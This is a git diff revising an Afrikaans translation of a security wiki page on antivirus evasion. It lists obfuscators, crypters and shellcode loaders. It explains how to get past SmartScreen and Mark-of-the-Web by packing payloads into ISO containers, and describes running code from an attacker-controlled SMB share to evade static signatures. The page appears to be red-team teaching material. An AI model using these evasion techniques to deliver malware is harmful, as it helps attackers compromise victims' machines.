* [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator demonstreer hoe om `C++11/14` taal te gebruik om, tydens kompilering, obfuskeer kode te genereer sonder om enige eksterne gereedskap te gebruik en sonder om die kompilateur te wysig.
|
* [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator demonstreer hoe om `C++11/14` taal te gebruik om, tydens kompilasie, obfuskeerde kode te genereer sonder om enige eksterne gereedskap te gebruik en sonder om die kompilateur te wysig.
|
||||||
* [**obfy**](https://github.com/fritzone/obfy): Voeg 'n laag van obfuskeer operasies by wat deur die C++ template metaprogrammering raamwerk gegenereer word wat die lewe van die persoon wat die toepassing wil kraak 'n bietjie moeiliker sal maak.
|
* [**obfy**](https://github.com/fritzone/obfy): Voeg 'n laag van obfuskeerde operasies by wat deur die C++ template metaprogrammering raamwerk gegenereer word wat die lewe van die persoon wat die toepassing wil kraak 'n bietjie moeiliker sal maak.
|
||||||
* [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz is 'n x64 binêre obfuscator wat in staat is om verskillende pe-lêers te obfuskeer, insluitend: .exe, .dll, .sys
|
* [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz is 'n x64 binêre obfuskeerder wat in staat is om verskeie verskillende pe-lêers te obfuskeer, insluitend: .exe, .dll, .sys
|
||||||
* [**metame**](https://github.com/a0rtega/metame): Metame is 'n eenvoudige metamorfiese kode enjin vir arbitrêre uitvoerbare.
|
* [**metame**](https://github.com/a0rtega/metame): Metame is 'n eenvoudige metamorfiese kode enjin vir arbitrêre uitvoerbare lêers.
|
||||||
* [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator is 'n fyn-gegradeerde kode obfuskeringsraamwerk vir LLVM-ondersteunde tale wat ROP (return-oriented programming) gebruik. ROPfuscator obfuskeer 'n program op die assembly kode vlak deur gewone instruksies in ROP-kettings te transformeer, wat ons natuurlike begrip van normale kontrole vloei verhoed.
|
* [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator is 'n fyn-gegradeerde kode obfuskaasie raamwerk vir LLVM-ondersteunde tale wat ROP (return-oriented programming) gebruik. ROPfuscator obfuskeer 'n program op die assembly kode vlak deur gewone instruksies in ROP-kettings te transformeer, wat ons natuurlike begrip van normale kontrole vloei verhoed.
|
||||||
* [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt is 'n .NET PE Crypter geskryf in Nim.
|
* [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt is 'n .NET PE Crypter geskryf in Nim
|
||||||
* [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor is in staat om bestaande EXE/DLL in shellcode te omskakel en dit dan te laai.
|
* [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor is in staat om bestaande EXE/DLL in shellcode te omskakel en dit dan te laai
|
||||||
|
|
||||||
## SmartScreen & MoTW
|
## SmartScreen & MoTW
|
||||||
|
|
||||||
|
@ -256,21 +256,21 @@ Microsoft Defender SmartScreen is 'n sekuriteitsmeganisme wat bedoel is om die e
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (664).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (664).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
SmartScreen werk hoofsaaklik met 'n reputasie-gebaseerde benadering, wat beteken dat ongewoon afgelaaide toepassings SmartScreen sal aktiveer, wat die eindgebruiker waarsku en verhoed om die lêer uit te voer (alhoewel die lêer steeds uitgevoer kan word deur op Meer Inligting -> Tog uitvoer te klik).
|
SmartScreen werk hoofsaaklik met 'n reputasie-gebaseerde benadering, wat beteken dat ongewone afgelaaide toepassings SmartScreen sal aktiveer, wat die eindgebruiker waarsku en verhoed om die lêer uit te voer (alhoewel die lêer steeds uitgevoer kan word deur op Meer Inligting -> Tog uitvoer te klik).
|
||||||
|
|
||||||
**MoTW** (Mark of The Web) is 'n [NTFS Alternatiewe Data Stroom](https://en.wikipedia.org/wiki/NTFS#Alternate\_data\_stream\_\(ADS\)) met die naam van Zone.Identifier wat outomaties geskep word wanneer lêers van die internet afgelaai word, saam met die URL waarvandaan dit afgelaai is.
|
**MoTW** (Merk van die Web) is 'n [NTFS Alternatiewe Data Stroom](https://en.wikipedia.org/wiki/NTFS#Alternate\_data\_stream\_\(ADS\)) met die naam van Zone.Identifier wat outomaties geskep word wanneer lêers van die internet afgelaai word, saam met die URL waarvandaan dit afgelaai is.
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (237).png" alt=""><figcaption><p>Kontroleer die Zone.Identifier ADS vir 'n lêer wat van die internet afgelaai is.</p></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (237).png" alt=""><figcaption><p>Kontroleer die Zone.Identifier ADS vir 'n lêer wat van die internet afgelaai is.</p></figcaption></figure>
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Dit is belangrik om op te let dat uitvoerbare lêers wat met 'n **betroubare** ondertekeningsertifikaat **nie SmartScreen sal aktiveer** nie.
|
Dit is belangrik om te noem dat uitvoerbare lêers wat met 'n **betroubare** ondertekeningssertifikaat **nie SmartScreen sal aktiveer** nie.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
'n Baie effektiewe manier om te verhoed dat jou payloads die Mark of The Web kry, is om dit binne 'n soort houer soos 'n ISO te verpak. Dit gebeur omdat Mark-of-the-Web (MOTW) **nie** op **nie NTFS** volumes toegepas kan word nie.
|
'n Baie effektiewe manier om jou payloads te verhoed om die Merk van die Web te kry, is om dit in 'n soort houer soos 'n ISO te verpak. Dit gebeur omdat die Merk-van-die-Web (MOTW) **nie** op **nie NTFS** volumes toegepas kan word nie.
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (640).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (640).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) is 'n gereedskap wat payloads in uitvoerhouers verpak om Mark-of-the-Web te ontwyk.
|
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) is 'n gereedskap wat payloads in uitvoerhouers verpak om die Merk-van-die-Web te ontwyk.
|
||||||
|
|
||||||
Voorbeeld gebruik:
|
Voorbeeld gebruik:
|
||||||
```powershell
|
```powershell
|
||||||
|
@ -319,7 +319,7 @@ Dit gaan oor die spuit van die post-exploitation kwaadwillige kode **in sy eie p
|
||||||
<figure><img src="../.gitbook/assets/image (1136).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (1136).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
As jy meer oor C# Assembly laai wil lees, kyk asseblief na hierdie artikel [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) en hul InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
|
As jy meer wil lees oor C# Assembly laai, kyk asseblief na hierdie artikel [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) en hul InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Jy kan ook C# Assemblies **van PowerShell** laai, kyk na [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) en [S3cur3th1sSh1t se video](https://www.youtube.com/watch?v=oe11Q-3Akuk).
|
Jy kan ook C# Assemblies **van PowerShell** laai, kyk na [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) en [S3cur3th1sSh1t se video](https://www.youtube.com/watch?v=oe11Q-3Akuk).
|
||||||
|
@ -328,7 +328,7 @@ Jy kan ook C# Assemblies **van PowerShell** laai, kyk na [Invoke-SharpLoader](ht
|
||||||
|
|
||||||
Soos voorgestel in [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), is dit moontlik om kwaadwillige kode uit te voer met behulp van ander tale deur die gecompromitteerde masjien toegang te gee **tot die interpreter omgewing wat op die Aanvaller Beheerde SMB deel geïnstalleer is**.
|
Soos voorgestel in [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), is dit moontlik om kwaadwillige kode uit te voer met behulp van ander tale deur die gecompromitteerde masjien toegang te gee **tot die interpreter omgewing wat op die Aanvaller Beheerde SMB deel geïnstalleer is**.
|
||||||
|
|
||||||
Deur toegang tot die Interpreter Binaries en die omgewing op die SMB deel toe te laat, kan jy **arbitraire kode in hierdie tale binne die geheue** van die gecompromitteerde masjien uitvoer.
|
Deur toegang te gee tot die Interpreter Binaries en die omgewing op die SMB deel kan jy **arbitraire kode in hierdie tale binne die geheue** van die gecompromitteerde masjien uitvoer.
|
||||||
|
|
||||||
Die repo dui aan: Defender skandeer steeds die skrifte, maar deur Go, Java, PHP ens. te benut het ons **meer buigsaamheid om statiese handtekeninge te omseil**. Toetsing met ewekansige on-obfuscated reverse shell skrifte in hierdie tale het suksesvol geblyk.
|
Die repo dui aan: Defender skandeer steeds die skrifte, maar deur Go, Java, PHP ens. te benut het ons **meer buigsaamheid om statiese handtekeninge te omseil**. Toetsing met ewekansige on-obfuscated reverse shell skrifte in hierdie tale het suksesvol geblyk.
|
||||||
|
|
||||||
|
@ -336,13 +336,13 @@ Die repo dui aan: Defender skandeer steeds die skrifte, maar deur Go, Java, PHP
|
||||||
|
|
||||||
Ontwyking is 'n baie ingewikkelde onderwerp, soms moet jy baie verskillende bronne van telemetrie in net een stelsel in ag neem, so dit is feitlik onmoontlik om heeltemal onopgemerk te bly in volwasse omgewings.
|
Ontwyking is 'n baie ingewikkelde onderwerp, soms moet jy baie verskillende bronne van telemetrie in net een stelsel in ag neem, so dit is feitlik onmoontlik om heeltemal onopgemerk te bly in volwasse omgewings.
|
||||||
|
|
||||||
Elke omgewing wat jy teen gaan, sal sy eie sterkpunte en swakpunte hê.
|
Elke omgewing wat jy teenaan gaan, sal sy eie sterkpunte en swakpunte hê.
|
||||||
|
|
||||||
Ek moedig jou sterk aan om hierdie praatjie van [@ATTL4S](https://twitter.com/DaniLJ94) te kyk, om 'n voet aan die grond te kry in meer Gevorderde Ontwyking tegnieke.
|
Ek moedig jou sterk aan om hierdie praatjie van [@ATTL4S](https://twitter.com/DaniLJ94) te kyk, om 'n voet aan die grond te kry in meer Gevorderde Ontwyking tegnieke.
|
||||||
|
|
||||||
{% embed url="https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo" %}
|
{% embed url="https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo" %}
|
||||||
|
|
||||||
Dit is ook 'n ander goeie praatjie van [@mariuszbit](https://twitter.com/mariuszbit) oor Ontwyking in Diepte.
|
Dit is ook nog 'n uitstekende praatjie van [@mariuszbit](https://twitter.com/mariuszbit) oor Ontwyking in Diepte.
|
||||||
|
|
||||||
{% embed url="https://www.youtube.com/watch?v=IbA7Ung39o4" %}
|
{% embed url="https://www.youtube.com/watch?v=IbA7Ung39o4" %}
|
||||||
|
|
||||||
|
@ -569,9 +569,9 @@ https://github.com/praetorian-code/vulcan
|
||||||
|
|
||||||
* [https://github.com/persianhydra/Xeexe-TopAntivirusEvasion](https://github.com/persianhydra/Xeexe-TopAntivirusEvasion)
|
* [https://github.com/persianhydra/Xeexe-TopAntivirusEvasion](https://github.com/persianhydra/Xeexe-TopAntivirusEvasion)
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons huur aan!** (_vloeiende Pools geskryf en gesproke vereis_).
|
As jy belangstel in **hacking loopbaan** en om die onhackable te hack - **ons huur aan!** (_vloeiende Pools geskryf en gesproke vereis_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
|
|